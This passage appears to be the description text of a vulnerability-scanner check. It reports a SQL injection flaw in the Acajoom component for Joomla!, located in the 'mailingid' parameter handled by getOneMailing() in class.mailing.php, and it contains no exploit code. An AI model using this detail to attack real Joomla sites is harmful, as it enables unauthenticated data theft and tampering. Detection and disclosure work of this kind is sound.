"The version of the Acajoom component for Joomla! running on the remote
host is affected by a SQL injection vulnerability in the
class.mailing.php script due to improper sanitization of user-supplied
input to the 'mailingid' parameter before using it to construct
database queries in the getOneMailing() function. Regardless of the
PHP 'magic_quotes_gpc' setting, an unauthenticated, remote attacker
can exploit this issue to manipulate database queries, resulting in
disclosure of sensitive information, modification of data, or other
attacks against the underlying database.");
